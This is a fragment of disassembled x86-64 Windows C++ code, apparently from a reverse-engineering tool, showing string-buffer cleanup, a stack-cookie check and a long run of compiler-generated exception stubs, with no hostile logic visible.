call fcn.140003f50
nop
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x120], r14
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x11c], edx
lea rcx, [rbp + 0x128]
call fcn.140018bb0
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x120], rax
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x11c], edx
mov qword [rbp + 0x1c8], r13
lea rcx, [rbp + 0x1c8]
call fcn.14014ce90
nop
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0x10
jb 0x14002f2c4
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002f2be
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f8aa
call fcn.14014fd6c
nop
mov rdx, qword [rbp + 0x80]
cmp rdx, 0x10
jb 0x14002f302
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002f2fd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f8b0
call fcn.14014fd6c
mov qword [rbp + 0x78], rsi
mov qword [rbp + 0x80], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x68], 0
mov rdx, qword [rbp + 0x248]
cmp rdx, 0x10
jb 0x14002f356
inc rdx
mov rcx, qword [rbp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002f351
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f8b6
call fcn.14014fd6c
mov qword [rbp + 0x240], rsi
mov qword [rbp + 0x248], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x230], 0
mov rdx, qword [rbp + 0x268]
cmp rdx, 0x10
jb 0x14002f3b0
inc rdx
mov rcx, qword [rbp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002f3ab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f8bc
call fcn.14014fd6c
mov qword [rbp + 0x260], rsi
mov qword [rbp + 0x268], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x250], 0
mov rdx, qword [rbp + 0x110]
cmp rdx, 0x10
jb 0x14002f40b
inc rdx
mov rcx, qword [rbp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002f405
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f8c2
call fcn.14014fd6c
nop
mov rdx, qword [rbp + 0x288]
cmp rdx, 0x10
jb 0x14002f44c
inc rdx
mov rcx, qword [rbp + 0x270]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002f447
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f8c8
call fcn.14014fd6c
mov qword [rbp + 0x280], rsi
mov qword [rbp + 0x288], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x270], 0
mov rdx, qword [rbp + 0x60]
cmp rdx, 0x10
jb 0x14002f4a1
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002f49b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f8ce
call fcn.14014fd6c
nop
mov rdx, qword [rbp + 0x2a8]
cmp rdx, 0x10
jb 0x14002f4e2
inc rdx
mov rcx, qword [rbp + 0x290]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002f4dd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f8d4
call fcn.14014fd6c
mov qword [rbp + 0x2a0], rsi
mov qword [rbp + 0x2a8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x290], 0
mov rdx, qword [rbp + 0x2c8]
cmp rdx, 0x10
jb 0x14002f53c
inc rdx
mov rcx, qword [rbp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002f537
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f8da
call fcn.14014fd6c
mov qword [rbp + 0x2c0], rsi
mov qword [rbp + 0x2c8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2b0], 0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x14002f591
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002f58b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f8e0
call fcn.14014fd6c
nop
mov rdx, qword [rbp + 0x2e8]
cmp rdx, 0x10
jb 0x14002f5d2
inc rdx
mov rcx, qword [rbp + 0x2d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002f5cd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f8e6
call fcn.14014fd6c
mov qword [rbp + 0x2e0], rsi
mov qword [rbp + 0x2e8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2d0], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0x10
jb 0x14002f627
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002f621
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f6b8
call fcn.14014fd6c
nop
lea rcx, [rbp + 0xa8]
call fcn.140002170
nop
lea rcx, [rbp + 0x2f0]
call fcn.140002170
nop
lea rcx, [rbp - 0x18]
call fcn.140002170
nop
lea rcx, [rbp + 0x310]
call fcn.140002170
nop
lea rcx, [rbp + 0x330]
call fcn.140002170
nop
lea rcx, [rbp + 0x350]
call fcn.140002170
nop
lea rcx, [rbp + 0x88]
call fcn.140002170
nop
lea rcx, [rbp - 0x78]
call fcn.140002170
mov rcx, qword [rbp + 0x370]
xor rcx, rsp
call fcn.14014fd10
lea r11, [rsp + 0x480]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14015ee94
nop
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.14015ee94
int3
call fcn.140001fd0
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
int3
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.14015ee94
int3
call fcn.140001fd0
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
int3
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.14015ee94
int3
call fcn.140001fd0
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
int3
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.14015ee94
int3
call fcn.140001fd0
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
int3
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.14015ee94
int3
call fcn.140001fd0
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
int3
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.14015ee94
int3
call fcn.140001fd0
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
int3
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.14015ee94
int3
call fcn.140001fd0
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
int3
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.140001fd0
nop
call fcn.14015ee94
int3
call fcn.140001fd0
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
nop
call fcn.14015ee94
int3